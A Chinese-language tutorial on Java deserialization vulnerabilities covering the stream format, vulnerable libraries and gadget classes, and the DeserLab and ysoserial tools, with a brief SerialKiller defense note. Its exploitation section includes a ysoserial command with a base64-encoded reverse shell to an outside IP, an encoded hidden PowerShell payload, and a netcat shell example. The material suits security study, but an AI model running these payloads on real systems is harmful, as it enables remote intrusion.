Java反序列化基础
基础
序列化和反序列化
-
序列化
将一个类对象转换成为一段字节序列保存在文件中,和java的原生类==writeObject==对应
-
反序列化
将对象序列化生成的字节序列还原为一个对象,和java的原生类==readObject==对应
在Java反序列化中,会调用被反序列化的readObject方法,当readObject方法书写不当时就会引发漏洞。
序列化条件
- 该类必须实现==java.io.Serializable== 对象
- 该类的所有属性必须是可序列化的。如果有一个属性不是可序列化的,则该属性必须注明是短暂的
序列化过程
- 序列化:将 OutputStream 封装在 ObjectOutputStream 内,然后调用 writeObject 即可
- 反序列化:将 InputStream 封装在 ObjectInputStream 内,然后调用 readObject 即可
反序列化出错可能原因
- 序列化字节码中的 serialVersionUID(用于记录java序列化版本)在进行反序列化时,JVM 会把传来的字节流中的 serialVersionUID 与本地相应实体类的 serialVersionUID 进行比较,如果相同就认为是一致的,可以进行反序列化,否则就抛出序列化版本不一致的异常- InvalidCastException。
Java, Python, Php 反序列化的比较
java和php
Java的反序列化和PHP的反序列化其实有点类似,他们都只能将一个对象中的属性按照某种特定的格式生成一段数据流,在反序列化的时候再按照这个格式将属性拿回来,再赋值给新的对象。但Java相对PHP序列化更深入的地方在于,其提供了更加高级、灵活地方法 writeObject ,允许开发者在序列化流中插入一些自定义数据,进而在反序列化的时候能够使用 readObject 进行读取。
当然,PHP中也提供了一个魔术方法叫 __wakeup ,在反序列化的时候进行触发。很多人会认为Java的readObject 和PHP的 __wakeup 类似,但其实不全对,虽然都是在反序列化的时候触发,但他们解决的问题稍微有些差异。Java设计 readObject 的思路和PHP的 __wakeup 不同点在于: readObject 倾向于解决**“反序列化时如何还原一个完整对象”这个问题,而PHP的 __wakeup 更倾向于解决“**反序列化后如何初始化这个对象”的问题。
我知道这样说会比较难理解,也几乎没有文章说到和理解到这个微小的差异,但这个设计理念可以说是决定为什么Java的反序列化漏洞这么多的根本原因
PHP的序列化是开发者不能参与的,开发者调用 serialize 函数后,序列化的数据就已经完成了,你得到的是一个完整的对象,你并不能在序列化数据流里新增某一个内容,你如果想插入新的内容,只有将其保存在一个属性中。也就是说PHP的序列化、反序列化是一个纯内部的过程,而其 __sleep 、_wakeup 魔术方法的目的就是在序列化、反序列化的前后执行一些操作。
PHP的反序列化漏洞,很少是由__wakeup 这个方法触发的,通常触发在析构函数__destruct 里。其实大部分PHP反序列化漏洞,都并不是由反序列化导致的,只是通过反序列化可以控制对象的属性,进而在后续的代码中进行危险操作。
Java反序列化的操作,很多是需要开发者深入参与的,所以你会发现大量的库会实现 readObject 、writeObject 方法,这和PHP中 __wakeup 、 __sleep 很少使用是存在鲜明对比的。
python
Python反序列化和Java、PHP有个显著的区别,就是Python的反序列化过程实际上是在执行一个基于栈的虚拟机。我们可以向栈上增、删对象,也可以执行一些指令,比如函数的执行等,甚至可以用这个虚拟机执行一个完整的应用程序。所以,Python的反序列化可以立即导致任意函数、命令执行漏洞,与需要gadget的PHP和Java相比更加危险。
从危害上来看,Python的反序列化危害是最大的;从应用广度上来看,Java的反序列化是最常被用到的;从反序列化的原理上来看,PHP和Java是类似又不尽相同的。
反序列化的可利用基础库
危险库示例:
commons-fileupload 1.3.1
commons-io 2.4
commons-collections 3.1
commons-logging 1.2
commons-beanutils 1.9.2
org.slf4j:slf4j-api 1.7.21
com.mchange:mchange-commons-java 0.2.11
org.apache.commons:commons-collections 4.0
com.mchange:c3p0 0.9.5.2
org.beanshell:bsh 2.0b5
org.codehaus.groovy:groovy 2.3.9
org.springframework:spring-aop 4.1.4.RELEASE
可能利用到的危险类:
'org.apache.commons.collections.functors.InvokerTransformer',
'org.apache.commons.collections.functors.InstantiateTransformer',
'org.apache.commons.collections4.functors.InvokerTransformer',
'org.apache.commons.collections4.functors.InstantiateTransformer',
'org.codehaus.groovy.runtime.ConvertedClosure',
'org.codehaus.groovy.runtime.MethodClosure',
'org.springframework.beans.factory.ObjectFactory',
'xalan.internal.xsltc.trax.TemplatesImpl'
'org.apache.commons.fileupload'
'org.apache.commons.beanutils'
若包含危险库,则使用ysoserial进行攻击复现。
反序列化入口函数
类名.方法名
ObjectInputStream.readObject
ObjectInputStream.readUnshared
XMLDecoder.readObject
Yaml.load
XStream.fromXML
ObjectMapper.readValue
JSON.parseObject
序列化序列分析
AC ED 00 05是常见的序列化数据开始,
但有些应用程序在整个运行周期中保持与服务器的网络连接,
如果攻击载荷是在延迟中发送的,那检测这四个字节就是无效的。
所以有些防火墙工具在检测反序列化数据时仅仅检测这几个字节是不安全的设置。
Java类名称可能会以“L”开头的替代格式出现 ,以';'结尾 ,
并使用正斜杠来分隔命名空间和类名(例如 “Ljava / rmi / dgc / VMID;”)。
除了Java类名,由于序列化格式规范的约定,还有一些其他常见的字符串,
例如 :表示对象(TC_OBJECT),后跟其类描述(TC_CLASSDESC)的'sr'或 可能表示没有超类(TC_NULL)的类的类注释(TC_ENDBLOCKDATA)的'xp'。
识别出序列化数据后,就要定位插入点,不同的数据类型有以下的十六进制对照表:
0x70 - TC_NULL
0x71 - TC_REFERENCE
0x72 - TC_CLASSDESC
0x73 - TC_OBJECT
0x74 - TC_STRING
0x75 - TC_ARRAY
0x76 - TC_CLASS
0x7B - TC_EXCEPTION
0x7C - TC_LONGSTRING
0x7D - TC_PROXYCLASSDESC
0x7E - TC_ENUM
AC ED 00 05
之后可能跟上述的数据类型说明符,也可能跟77(TC_BLOCKDATA元素)
或7A(TC_BLOCKDATALONG元素)
其后跟的是块数据。
序列化数据信息是将对象信息按照一定规则组成的,那我们根据这个规则也可以逆向推测出数据信息中的数据类型等信息。
数据信息类型可能出现以下几种
- 0xac ed STREAM_VERSION
- 0x00 05 Contents TC_BLOCKDATA
- 0x77 Length - 8
- 0x08 Contents
- 0xaf743f8c1d120cb9 TC_STRING
- 0x74 newHandle 0x00 7e 00 00 Length - 4
- 0x00 04 Value - ABCD - 0x41424344
SerializationDumper : https://github.com/NickstaDB/SerializationDumper 可以分析序列化后的的十六进制数据
$ java -jar SerializationDumper.jar ACED00057708af743f8c1d120cb974000441424344
STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
TC_BLOCKDATA - 0x77
Length - 8 - 0x08
Contents - 0xaf743f8c1d120cb9
TC_STRING - 0x74
newHandle 0x00 7e 00 00
Length - 4 - 0x00 04
Value - ABCD - 0x41424344
根据上面的输出结果,我们发现数据流中包含一个TCBLOCKDATA,后面跟着一个TCSTRING,我们可以将TC_STRING替换为我们的攻击payload。
序列化流中的对象在加载时会被实例化,而不是当整个流完成解析时才会被实例化。根据这个事实,可以将攻击payload注入到某个序列化流中,而不用考虑去矫正序列化流剩余的那些数据。当任何验证操作执行时,或者当程序尝试从序列化流中读取更多数据时,攻击payload的反序列化以及执行操作早已完成。
实践工具
DeserLab可以在本地打开具有java反序列化漏洞服务的工具可以模拟创建java反序列化漏洞的场景,使用方法为:
首先启动服务器端组件
java -jar DeserLab.jar -server <listen-address> <listen-port>
例如: java -jar DeserLab.jar -server 127.0.0.1 6666
接下来使用客户端与服务端组件交互 java -jar DeserLab.jar -client <server-address> <server-port>
SerialBrute这个工具可以自动化使用ysoserial payload来测试任何目标
第一个脚本为“SerialBrute.py”,可以重放TCP会话或者HTTP请求,
并且能将payload注入到指定的位置;
第二个脚本为“SrlBrt.py”,这是一个框架型脚本,
在特殊情况下我们可以修改这一脚本来发送payload。
这些脚本并没有考虑全部情况,因此需要谨慎使用,以免导致应用程序崩溃
用ysoserial生成针对Groovy库的payload:
java -jar ysoserial.jar Groovy1 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc bQBrAGQAaQByACAAaABhAGMAawBlAGQAXwBiAHkAXwBwAGgA MAByAHMAZQA=">payload2.bin
使用生产的payload(python2.7): python deserlab_exploit.py 127.0.0.1 6666 payload2.bin
ysoserial集成了多条链子可以用于生成payload
Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'
$ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjExNy4yMy4xNzcvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" > payload.bin
deserlab_exploit.py用于测试ysoserial生成的payload
$ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjExNy4yMy4xNzcvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" > payload.bin
$ java -jar DeserLab.jar -server 127.0.0.1 6666
$ python deserlab_exploit.py 127.0.0.1 6666 payload.bin
使用ysoserial命令执行payload时经常需要到网站
https://www.jackson-t.ca/runtime-exec-payloads.html
进行负载转换,
这是因为使用了“java.lang.Runtime.exec(String)”语句,导致命令执行存在限制,
例如不支持shell操作符,如输出重定向以及管道;
传递给payload命令的参数中不能包含空格,
比如,我们可以使用nc -lp 4444 -e /bin/sh但是不能使用perl -e ‘use Socket;…',
这是因为传递给perl的参数中包含空格.
但是如果使用转换后的负载就不会出现上面的问题
尝试反序列化的POP链时如果触发无法处理的异常点有可能会导致程序崩溃
如果使用某个ysoserial payload时,目标应用的响应为“ClassNotFoundException”,
这种情况下,很有可能选择的利用点不能用于目标应用。如果目标应用出现“java.io.IOException”,
同时返回“Cannot run program”信息,那么很有可能选择的利用链适用于目标应用,
但尝试执行的命令无法在目标服务器上执行。
ysoserial命令执行payload属于盲payload(blind payloads)类型,不会返回命令的输出结果
反序列化防护
然后放在classpath,将应用代码中的java.io.ObjectInputStream替换为SerialKiller,之后配置让其能够允许或禁用一些存在问题的类,SerialKiller有Hot-Reload,Whitelisting,Blacklisting几个特性,控制了外部输入反序列化后的可信类型。